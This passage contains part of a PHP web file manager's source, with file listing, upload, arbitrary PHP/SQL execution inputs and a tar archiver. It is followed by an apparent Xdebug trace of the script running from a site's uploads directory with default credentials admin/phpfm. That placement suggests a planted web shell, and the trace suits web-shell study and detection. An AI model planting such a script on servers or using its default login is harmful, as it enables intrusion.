			</td>
			<td>
			<?php 
    if (!empty($fm_config['new_file'])) {
        ?>
				<form method="post" action="<?php 
        echo $url_inc;
        ?>">
				<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?php 
        echo __('New file');
        ?>">
				</form>
			<?php 
    }
    ?>
			</td>
			<td>
			<?php 
    echo fm_run_input('php');
    ?>
			</td>
			<td>
			<?php 
    echo fm_run_input('sql');
    ?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php 
    if (!empty($fm_config['upload_file'])) {
        ?>
			<form name="form1" method="post" action="<?php 
        echo $url_inc;
        ?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?php 
        echo __('Select the file');
        ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?php 
        echo __('Upload');
        ?>" />
			</form>
		<?php 
    }
    ?>
		</td>
		<td>
		<?php 
    if ($auth['authorize']) {
        ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?php 
        echo __('Hello');
        ?>, <?php 
        echo $auth['login'];
        ?>
			<input type="submit" value="<?php 
        echo __('Quit');
        ?>">
			</form>
		<?php 
    }
    ?>
		</td>
		<td>
		<?php 
    echo fm_lang_form($language);
    ?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?php 
    echo __('Filename');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Size');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Date');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Rights');
    ?> </th>
    <th colspan="4" style="white-space:nowrap"> <?php 
    echo __('Manage');
    ?> </th>
</tr>
</thead>
<tbody>
<?php 
    $elements = fm_scan_dir($path, '', 'all', true);
    $dirs = array();
    $files = array();
    foreach ($elements as $file) {
        if (@is_dir($path . $file)) {
            $dirs[] = $file;
        } else {
            $files[] = $file;
        }
    }
    natsort($dirs);
    natsort($files);
    $elements = array_merge($dirs, $files);
    foreach ($elements as $file) {
        $filename = $path . $file;
        $filedata = @stat($filename);
        if (@is_dir($filename)) {
            $filedata[7] = '';
            if (!empty($fm_config['show_dir_size']) && !fm_root($file)) {
                $filedata[7] = fm_dir_size($filename);
            }
            $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>';
            $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . '&nbsp;zip', __('Archiving') . ' ' . $file);
            $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . '&nbsp;.tar.gz', __('Archiving') . ' ' . $file);
            $style = 'row2';
            if (!fm_root($file)) {
                $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
            } else {
                $alert = '';
            }
        } else {
            $link = $fm_config['show_img'] && getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>';
            $e_arr = explode(".", $file);
            $ext = end($e_arr);
            $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file);
            $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . '&nbsp;.tar.gz', __('Archiving') . ' ' . $file));
            $style = 'row1';
            $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
        }
        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>';
        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>';
        $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>';
        ?>
<tr class="<?php 
        echo $style;
        ?>"> 
    <td><?php 
        echo $link;
        ?></td>
    <td><?php 
        echo $filedata[7];
        ?></td>
    <td style="white-space:nowrap"><?php 
        echo gmdate("Y-m-d H:i:s", $filedata[9]);
        ?></td>
    <td><?php 
        echo $rightstext;
        ?></td>
    <td><?php 
        echo $deletelink;
        ?></td>
    <td><?php 
        echo $renamelink;
        ?></td>
    <td><?php 
        echo $loadlink;
        ?></td>
    <td><?php 
        echo $arlink;
        ?></td>
</tr>
<?php 
    }
}
?>
</tbody>
</table>
<div class="row3"><?php 
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="' . fm_site_url() . '">.</a>';
if (!empty($fm_config['show_php_ver'])) {
    echo ' | PHP ' . phpversion();
}
if (!empty($fm_config['show_php_ini'])) {
    echo ' | ' . php_ini_loaded_file();
}
if (!empty($fm_config['show_gt'])) {
    echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2);
}
if (!empty($fm_config['enable_proxy'])) {
    echo " | <a href=\"?proxy=true\">proxy</a>";
}
if (!empty($fm_config['show_phpinfo'])) {
    echo " | <a href=\"?phpinfo=true\">phpinfo</a>";
}
if (!empty($fm_config['show_xls']) && !empty($link)) {
    echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>';
}
if (!empty($fm_config['fm_settings'])) {
    echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>';
}
?>
</div>
<?php 
echo $auth['script'];
?>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php 
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar
{
    var $archive_name = '';
    var $tmp_file = 0;
    var $file_pos = 0;
    var $isGzipped = true;
    var $errors = array();
    var $files = array();
    function __construct()
    {
        if (!isset($this->errors)) {
            $this->errors = array();
        }
    }
    function createArchive($file_list)
    {
        $result = false;
        if (file_exists($this->archive_name) && is_file($this->archive_name)) {
            $newArchive = false;
        } else {
            $newArchive = true;
        }
        if ($newArchive) {
            if (!$this->openWrite()) {
                return false;
            }
        } else {
            if (filesize($this->archive_name) == 0) {
                return $this->openWrite();
            }
            if ($this->isGzipped) {
                $this->closeTmpFile();
                if (!rename($this->archive_name, $this->archive_name . '.tmp')) {
                    $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp';
                    return false;
                }
                $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb');
                if (!$tmpArchive) {
                    $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable');
                    rename($this->archive_name . '.tmp', $this->archive_name);
                    return false;
                }
                if (!$this->openWrite()) {
                    rename($this->archive_name . '.tmp', $this->archive_name);
                    return false;
                }
                $buffer = gzread($tmpArchive, 512);
                if (!gzeof($tmpArchive)) {
                    do {
                        $binaryData = pack('a512', $buffer);
                        $this->writeBlock($binaryData);
                        $buffer = gzread($tmpArchive, 512);
                    } while (!gzeof($tmpArchive));
                }
                gzclose($tmpArchive);
                unlink($this->archive_name . '.tmp');
            } else {
                $this->tmp_file = fopen($this->archive_name, 'r+b');
                if (!$this->tmp_file) {
                    return false;
                }
            }
        }
        if (isset($file_list) && is_array($file_list)) {
            if (count($file_list) > 0) {
                $result = $this->packFileArray($file_list);
            }
        } else {
            $this->errors[] = __('No file') . __(' to ') . __('Archive');
        }
        if ($result && is_resource($this->tmp_file)) {
            $binaryData = pack('a512', '');
            $this->writeBlock($binaryData);
        }
        $this->closeTmpFile();
        if ($newArchive && !$result) {
            $this->closeTmpFile();
            unlink($this->archive_name);
        }
        return $result;
    }
    function restoreArchive($path)
    {
        $fileName = $this->archive_name;
        if (!$this->isGzipped) {
            if (file_exists($fileName)) {
                if ($fp = fopen($fileName, 'rb')) {
                    $data = fread($fp, 2);
                    fclose($fp);
                    if ($data == '\\37\\213') {
                        $this->isGzipped = true;
                    }
                }
            } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') {
                $this->isGzipped = true;
            }
        }
        $result = true;
        if ($this->isGzipped) {
            $this->tmp_file = gzopen($fileName, 'rb');
        } else {
            $this->tmp_file = fopen($fileName, 'rb');
        }
        if (!$this->tmp_file) {
            $this->errors[] = $fileName . ' ' . __('is not readable');
            return false;
        }
        $result = $this->unpackFileArray($path);
        $this->closeTmpFile();
        return $result;
    }
    function showErrors($message = '')
    {
        $Errors = $this->errors;
        if (count($Errors) > 0) {
            if (!empty($message)) {
                $message = ' (' . $message . ')';
            }
            $message = __('Error occurred') . $message . ': <br/>';
            foreach ($Errors as $value) {
                $message .= $value . '<br/>';
            }
            return $message;
        } else {
            return "";
        }
    }
    function packFileArray($file_array)
    {
        $result = true;
        if (!$this->tmp_file) {
            $this->errors[] = __('Invalid file descriptor');
            return false;
        }
        if (!is_array($file_array) || count($file_array) <= 0) {
            return true;
        }
        for ($i = 0; $i < count($file_array); $i++) {
            $filename = $file_array[$i];
            if ($filename == $this->archive_name) {
                continue;
            }
            if (strlen($filename) <= 0) {
                continue;
            }
            if (!file_exists($filename)) {
                $this->errors[] = __('No file') . ' ' . $filename;
                continue;
            }
            if (!$this->tmp_file) {
                $this->errors[] = __('Invalid file descriptor');
                return false;
            }
            if (strlen($filename) <= 0) {
                $this->errors[] = __('Filename') . ' ' . __('is incorrect');
                return false;
            }
            $filename = str_replace('\\', '/', $filename);
            $keep_filename = $this->makeGoodPath($filename);
            if (is_file($filename)) {
                if (($file = fopen($filename, 'rb')) == 0) {
                    $this->errors[] = __('Mode ') . __('is incorrect');
                }
                if ($this->file_pos == 0) {
                    if (!$this->writeHeader($filename, $keep_filename)) {
                        return false;
                    }
                }
                while (($buffer = fread($file, 512)) != '') {
                    $binaryData = pack('a512', $buffer);
                    $this->writeBlock($binaryData);
                }
                fclose($file);
            } else {
                $this->writeHeader($filename, $keep_filename);
            }
            if (@is_dir($filename)) {
                if (!($handle = opendir($filename))) {
                    $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable');
                    continue;
                }
                while (false !== ($dir = readdir($handle))) {
                    if ($dir != '.' && $dir != '..') {
                        $file_array_tmp = array();
                        if ($filename != '.') {
                            $file_array_tmp[] = $filename . '/' . $dir;
                        } else {
                            $file_array_tmp[] = $dir;
                        }
                        $result = $this->packFileArray($file_array_tmp);
                    }
                }
                unset($file_array_tmp);
                unset($dir);
                unset($handle);
            }
        }
        return $result;
    }
    function unpackFileArray($path)
    {
        $path = str_replace('\\', '/', $path);
        if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) {
            $path = './' . $path;
        }
        clearstatcache();
        while (strlen($binaryData = $this->readBlock()) != 0) {
            if (!$this->readHeader($binaryData, $header)) {
                return false;
            }
            if ($header['filename'] == '') {
                continue;
            }
            if ($header['typeflag'] == 'L') {
                //reading long header
                $filename = '';
                $decr = floor($header['size'] / 512);
                for ($i = 0; $i < $decr; $i++) {
                    $content = $this->readBlock();
                    $filename .= $content;
                }
                if (($laspiece = $header['size'] % 512) != 0) {
                    $content = $this->readBlock();
                    $filename .= substr($content, 0, $laspiece);
                }
                $binaryData = $this->readBlock();
                if (!$this->readHeader($binaryData, $header)) {
                    return false;
                } else {
                    $header['filename'] = $filename;
                }
                return true;
            }
            if ($path != './' && $path != '/') {
                while (substr($path, -1) == '/') {
                    $path = substr($path, 0, strlen($path) - 1);
                }
                if (substr($header['filename'], 0, 1) == '/') {
                    $header['filename'] = $path . $header['filename'];
                } else {
                    $header['filename'] = $path . '/' . $header['filename'];
                }
            }
            if (file_exists($header['filename'])) {
                if (@is_dir($header['filename']) && $header['typeflag'] == '') {
                    $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder');
                    return false;
                }
                if (is_file($header['filename']) && $header['typeflag'] == '5') {
                    $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists');
                    return false;
                }
                if (!is_writeable($header['filename'])) {
                    $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists');
                    return false;
                }
            } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) {
                $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename'];
                return false;
            }
            if ($header['typeflag'] == '5') {
                if (!file_exists($header['filename'])) {
                    if (!mkdir($header['filename'], 0777)) {
                        $this->errors[] = __('Cannot create directory') . ' ' . $header['filename'];
                        return false;
                    }
                }
            } else {
                if (($destination = fopen($header['filename'], 'wb')) == 0) {
                    $this->errors[] = __('Cannot write to file') . ' ' . $header['filename'];
                    return false;
                } else {
                    $decr = floor($header['size'] / 512);
                    for ($i = 0; $i < $decr; $i++) {
                        $content = $this->readBlock();
                        fwrite($destination, $content, 512);
                    }
                    if ($header['size'] % 512 != 0) {
                        $content = $this->readBlock();
                        fwrite($destination, $content, $header['size'] % 512);
                    }
                    fclose($destination);
                    touch($header['filename'], $header['time']);
                }
                clearstatcache();
                if (filesize($header['filename']) != $header['size']) {
                    $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect');
                    return false;
                }
            }
            if (($file_dir = dirname($header['filename'])) == $header['filename']) {
                $file_dir = '';
            }
            if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') {
                $file_dir = '/';
            }
            $this->dirs[] = $file_dir;
            $this->files[] = $header['filename'];
        }
        return true;
    }
    function dirCheck($dir)
    {
        $parent_dir = dirname($dir);
        if (@is_dir($dir) or $dir == '') {
            return true;
        }
        if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) {
            return false;
        }
        if (!mkdir($dir, 0777)) {
            $this->errors[] = __('Cannot create directory') . ' ' . $dir;
            return false;
        }
        return true;
    }
    function readHeader($binaryData, &$header)
    {
        if (strlen($binaryData) == 0) {
            $header['filename'] = '';
            return true;
        }
        if (strlen($binaryData) != 512) {
            $header['filename'] = '';
            $this->__('Invalid block size') . ': ' . strlen($binaryData);
            return false;
        }
        $checksum = 0;
        for ($i = 0; $i < 148; $i++) {
            $checksum += ord(substr($binaryData, $i, 1));
        }
        for ($i = 148; $i < 156; $i++) {
            $checksum += 32;
        }
        for ($i = 156; $i < 512; $i++) {
            $checksum += ord(substr($binaryData, $i, 1));
        }
        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
        $header['checksum'] = OctDec(trim($unpack_data['checksum']));
        if ($header['checksum'] != $checksum) {
            $header['filename'] = '';
            if ($checksum == 256 && $header['checksum'] == 0) {
                return true;
            }
            $this->errors[] = __('Error checksum for file ') . $unpack_data['filename'];
            return false;
        }
        if (($header['typeflag'] = $unpack_data['typeflag']) == '5') {
            $header['size'] = 0;
        }
        $header['filename'] = trim($unpack_data['filename']);
        $header['mode'] = OctDec(trim($unpack_data['mode']));
        $header['user_id'] = OctDec(trim($unpack_data['user_id']));
        $header['group_id'] = OctDec(trim($unpack_data['group_id']));
        $header['size'] = OctDec(trim($unpack_data['size']));
        $header['time'] = OctDec(trim($unpack_data['time']));
        return true;
    }
    function writeHeader($filename, $keep_filename)
    {
        $packF = 'a100a8a8a8a12A12';
        $packL = 'a1a100a6a2a32a32a8a8a155a12';
        if (strlen($keep_filename) <= 0) {
            $keep_filename = $filename;
        }
        $filename_ready = $this->makeGoodPath($keep_filename);
        if (strlen($filename_ready) > 99) {
            //write long header
            $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
            $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
            //  Calculate the checksum
            $checksum = 0;
            //  First part of the header
            for ($i = 0; $i < 148; $i++) {
                $checksum += ord(substr($dataFirst, $i, 1));
            }
            //  Ignore the checksum value and replace it by ' ' (space)
            for ($i = 148; $i < 156; $i++) {
                $checksum += 32;
            }
            //  Last part of the header
            for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
                $checksum += ord(substr($dataLast, $j, 1));
            }
            //  Write the first 148 bytes of the header in the archive
            $this->writeBlock($dataFirst, 148);
            //  Write the calculated checksum
            $checksum = sprintf('%6s ', DecOct($checksum));
            $binaryData = pack('a8', $checksum);
            $this->writeBlock($binaryData, 8);
            //  Write the last 356 bytes of the header in the archive
            $this->writeBlock($dataLast, 356);
            $tmp_filename = $this->makeGoodPath($filename_ready);
            $i = 0;
            while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') {
                $binaryData = pack('a512', $buffer);
                $this->writeBlock($binaryData);
            }
            return true;
        }
        $file_info = stat($filename);
        if (@is_dir($filename)) {
            $typeflag = '5';
            $size = sprintf('%11s ', DecOct(0));
        } else {
            $typeflag = '';
            clearstatcache();
            $size = sprintf('%11s ', DecOct(filesize($filename)));
        }
        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
        $checksum = 0;
        for ($i = 0; $i < 148; $i++) {
            $checksum += ord(substr($dataFirst, $i, 1));
        }
        for ($i = 148; $i < 156; $i++) {
            $checksum += 32;
        }
        for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
            $checksum += ord(substr($dataLast, $j, 1));
        }
        $this->writeBlock($dataFirst, 148);
        $checksum = sprintf('%6s ', DecOct($checksum));
        $binaryData = pack('a8', $checksum);
        $this->writeBlock($binaryData, 8);
        $this->writeBlock($dataLast, 356);
        return true;
    }
    function openWrite()
    {
        if ($this->isGzipped) {
            $this->tmp_file = gzopen($this->archive_name, 'wb9f');
        } else {
            $this->tmp_file = fopen($this->archive_name, 'wb');
        }
        if (!$this->tmp_file) {
            $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name;
            return false;
        }
        return true;
    }
    function readBlock()
    {
        if (is_resource($this->tmp_file)) {
            if ($this->isGzipped) {
                $block = gzread($this->tmp_file, 512);
            } else {
                $block = fread($this->tmp_file, 512);
            }
        } else {
            $block = '';
        }
        return $block;
    }
    function writeBlock($data, $length = 0)
    {
        if (is_resource($this->tmp_file)) {
            if ($length === 0) {
                if ($this->isGzipped) {
                    gzputs($this->tmp_file, $data);
                } else {
                    fputs($this->tmp_file, $data);
                }
            } else {
                if ($this->isGzipped) {
                    gzputs($this->tmp_file, $data, $length);
                } else {
                    fputs($this->tmp_file, $data, $length);
                }
            }
        }
    }
    function closeTmpFile()
    {
        if (is_resource($this->tmp_file)) {
            if ($this->isGzipped) {
                gzclose($this->tmp_file);
            } else {
                fclose($this->tmp_file);
            }
            $this->tmp_file = 0;
        }
    }
    function makeGoodPath($path)
    {
        if (strlen($path) > 0) {
            $path = str_replace('\\', '/', $path);
            $partPath = explode('/', $path);
            $els = count($partPath) - 1;
            for ($i = $els; $i >= 0; $i--) {
                if ($partPath[$i] == '.') {
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..') {
                    $i--;
                } elseif ($partPath[$i] == '' and $i != $els and $i != 0) {
                } else {
                    $result = $partPath[$i] . ($i != $els ? '/' . $result : '');
                }
            }
        } else {
            $result = '';
        }
        return $result;
    }
}

Execution traces

data/traces/6fb0632796d298c2c991b57d9d50679a_trace-1676250335.4352.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:06:01.332983]
1	0	1	0.000156	393576
1	3	0	0.002597	935736	{main}	1		/var/www/html/uploads/filemanager.php	0	0
1		A						/var/www/html/uploads/filemanager.php	5	$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'
1		A						/var/www/html/uploads/filemanager.php	6	$php_templates = '{"Settings":"global $fm_config;\\r\\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'
1		A						/var/www/html/uploads/filemanager.php	7	$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'
2	4	0	0.002678	935736	microtime	0		/var/www/html/uploads/filemanager.php	11	0
2	4	1	0.002692	935784
2	4	R			'0.43776800 1676250335'
2	5	0	0.002707	935784	explode	0		/var/www/html/uploads/filemanager.php	11	2	' '	'0.43776800 1676250335'
2	5	1	0.002722	936312
2	5	R			[0 => '0.43776800', 1 => '1676250335']
1		A						/var/www/html/uploads/filemanager.php	11	$starttime = [0 => '0.43776800', 1 => '1676250335']
1		A						/var/www/html/uploads/filemanager.php	12	$starttime = 1676250335.4378
1		A						/var/www/html/uploads/filemanager.php	13	$langs = [0 => 'en', 1 => 'ru', 2 => 'de', 3 => 'fr', 4 => 'uk']
2	6	0	0.002779	935736	realpath	0		/var/www/html/uploads/filemanager.php	14	1	'.'
2	6	1	0.002794	935816
2	6	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/filemanager.php	14	$path = '/var/www/html/uploads'
1		A						/var/www/html/uploads/filemanager.php	14	$path = '/var/www/html/uploads'
2	7	0	0.002829	935784	str_replace	0		/var/www/html/uploads/filemanager.php	15	3	'\\'	'/'	'/var/www/html/uploads'
2	7	1	0.002845	935880
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/filemanager.php	15	$path = '/var/www/html/uploads/'
2	8	0	0.002869	935784	realpath	0		/var/www/html/uploads/filemanager.php	16	1	'./'
2	8	1	0.002883	935864
2	8	R			'/var/www/html/uploads'
2	9	0	0.002920	935832	str_replace	0		/var/www/html/uploads/filemanager.php	16	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.002956	935928
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/filemanager.php	16	$main_path = '/var/www/html/uploads'
2	10	0	0.002992	935832	phpversion	0		/var/www/html/uploads/filemanager.php	17	0
2	10	1	0.003009	935896
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.003030	935896	version_compare	0		/var/www/html/uploads/filemanager.php	17	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
2	11	1	0.003054	935992
2	11	R			FALSE
1		A						/var/www/html/uploads/filemanager.php	17	$phar_maybe = FALSE
1		A						/var/www/html/uploads/filemanager.php	18	$msg = ''
1		A						/var/www/html/uploads/filemanager.php	19	$default_language = 'ru'
1		A						/var/www/html/uploads/filemanager.php	20	$detect_lang = TRUE
1		A						/var/www/html/uploads/filemanager.php	21	$fm_version = 1.1
2	12	0	0.003145	935832	json_decode	0		/var/www/html/uploads/filemanager.php	24	2	'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'	TRUE
2	12	1	0.003196	937304
2	12	R			['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/filemanager.php	24	$auth = ['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/filemanager.php	25	$auth['authorize'] = '0'
2	13	0	0.003314	937240	is_numeric	0		/var/www/html/uploads/filemanager.php	26	1	'30'
2	13	1	0.003333	937272
2	13	R			TRUE
1		A						/var/www/html/uploads/filemanager.php	26	$auth['days_authorization'] = 30
1		A						/var/www/html/uploads/filemanager.php	27	$auth['login'] = 'admin'
